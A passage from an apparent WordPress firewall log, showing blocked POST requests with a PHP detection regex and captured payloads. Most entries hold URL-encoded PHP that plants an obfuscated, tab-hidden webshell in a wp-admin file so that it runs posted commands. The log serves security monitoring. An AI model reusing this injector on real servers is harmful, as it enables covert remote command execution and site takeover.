%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:13","51.38.81.255","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:5226\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nqp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:15","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:5249\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:37:18","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> td:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5226\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 